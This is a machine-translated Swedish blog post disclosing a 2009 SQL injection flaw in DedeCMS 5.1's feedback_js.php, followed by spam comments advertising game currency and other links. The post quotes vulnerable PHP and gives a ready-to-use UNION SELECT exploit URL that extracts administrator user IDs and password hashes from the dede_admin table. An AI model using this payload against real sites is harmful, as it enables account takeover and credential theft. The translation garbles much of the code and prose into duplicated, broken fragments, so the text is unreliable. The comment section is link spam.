DEDECMS 5,1 feedback_js.php 0day-0day, DEDECMS, 5,1 DEDECMS, feedback

DEDECMS 5,1 feedback_js.php 0day

Detta inlägg postades den 11 Oktober, 2009

Författare: st0p Rainy'Fox
Återgivet ange källa: http://www.st0p.org http://bbs.erpangzi.com/

Denna sårbarhet hittas och Rainy'Fox finns också i det fall magic_quotes_gpc = off

Sårbarhet Version: Artiklar Condo 5,1
Detta kan utnyttjas för att få administratörskonto i bakgrunden och kryptera hash, kryphål finns filen plus / feedback_js.php, ofiltrerade parametrar för $ arcurl

  ......
 0 ; $ Urlindex = 0;
 empty ( $arcID ) ) if (tom ($ ARCID))
 {
	 $dlist -> dsql -> GetOne ( "Select id From `#@__cache_feedbackurl` where url=' $arcurl ' " ) ; $ Rad = $ dlist -> dsql -> GetOne ("Select id från` # @ __ cache_feedbackurl `, där url = '$ arcurl'");
        / / Här $ arcurl inget filter
	 is_array ( $row ) ) $urlindex = $row [ 'id' ] ; if (is_array ($ rad)) $ urlindex = $ rad ['id'];
       / / Presentera resultatet sätta $ urlindex uppdrag för en förfrågan till $ rad ['id'], kan vi konstruera SQL-satser i följande operativsystem
 }
 empty ( $arcID ) && empty ( $urlindex ) ) exit ( ) ; if (tomma ($ ARCID) && tomma ($ urlindex)) exit ();
 / / Om $ ARCID är tom eller $ urlindex tomma exit
 ......
 empty ( $arcID ) ) $wq = " urlindex = ' $urlindex ' " ; if (empty ($ ARCID)) $ wq = "urlindex = '$ urlindex'";
 / / $ ARCID är tom, strax ovanför resultaten av genomförandet kommer att tilldelas till $ wq i de utförda följande operationer.
 = " aid=' $arcID ' " ; annars $ WQ = "stöd = '$ ARCID'";
  "select * from `#@__feedback` where $wq and ischeck='1' order by dtime desc" ; $ QueryString = "SELECT * FROM` # @ __ återkoppling `där $ wq och ischeck = '1 'order från dtime desc";
 Init ( ) ; $ Dlist -> Init ();
 SetSource ( $querystring ) ; $ Dlist -> SetSource ($ querystring);
 ......

Titta på användningen av, hej, stängde jag använder två fackliga

En

  http://st0p/dedecms51/plus/feedback_js.php?arcurl = 'UNION SELECT' "och 1 = 2 UNION SELECT 1,1,1, userid, 3,1,3,3, PWD, 1,1,3 , 1,1,1,1,1 från dede_admin, där 1 = 1 UNION SELECT * från dede_feedback där 1 = 2 och'' = '"från dede_admin, där'' ='

Ack, jämn och Rainy'Fox den här killen för att hitta målet prov när han faktiskt sa kan på magic_quotes_gpc = när genom .... denna idé för YD .. för hemskt, för att verkligen uppnå detta sektorn nätverk bör kaoset, en hel del program är som standard i PHP magic_quotes_gpc är avstängd, kommer att kalla sin egen flykt en del ... du verkligen kan uppnå, det vill säga mardröm av PHP program ...

Läs ° kampsporter fusk

356 Responses to "DEDECMS 5,1 feedback_js.php 0day"

Av хостинг den Nov 19, 2009 | Svara
zelo intiresno, Hvala
Den av AKfour syv den Dec 1, 2009 | Svara
Jag står här idag ödmjuk inför uppgiften innan [url = http://www.bawwgt.com] Dofus Kamas [/ url], tacksam för det förtroende ni har skänkt, medveten om de uppoffringar som bärs av vår [url = http:/ / www.bawwgt.com] billiga Dofus Kamas [/ url]. Jag tackar ordförande [url = http://www.bawwgt.com] dofus powerlevling [/ url] för sina tjänster till [url = http://www . bawwgt.com] Köp Dofus Kamas [/ url], liksom generositet och den samarbetsvilja han har uppvisat under hela denna övergångsperiod.
Den av wsewtoexg den Dec 3, 2009 | Svara
CMvNTO honoyhhectcq , [url = http://bqjmruocdqwf.com/ bqjmruocdqwf [/ url], [link = http://mdbdixbzaeau.com/] mdbdixbzaeau [/ link], http://njofsuttytxm.com/
Genom Tedy den Dec 5, 2009 | Svara
Bara 34 dagar före Dofus 2.0! 2 december kommer att vara här innan vi vet [url = http://www.bawwgt.com/fr] Dofus Kamas [/ url]. På [url = http://www.bawwgt.com / fr] Dofus Kamas moins kare [/ url] alla spelare kommer att upptäcka en helt ny Dofus erfarenhet. [url = http://www.bawwgt.com/fr] acheter des Dofus Kamas [/ url] måste vara nöjda med rapporter och forum. Ändå [url = http://www.bawwgt.com/fr] Achat Dofus Kamas [/ url] finns ¡ ¯ s alltid några av våra kära spelare i forumet.
Genom att köpa Strattera den Dec 13, 2009 | Svara
Detta är en cool nyhet. Tack.
Den av Seengart den Dec 14, 2009 | Svara
va ... informativ stil ..
Genom att Natasha-web den Dec 16, 2009 | Svara
Vdaka za zaujimavy blogg
Den av ConradSimone den Mar 8, 2012 | Svara
Ja detta är mycket intressant indeed.Would älskar att läsa lite mer om detta. Beundra den värdefulla information som du ger i dina artiklar.
Conrad av Simone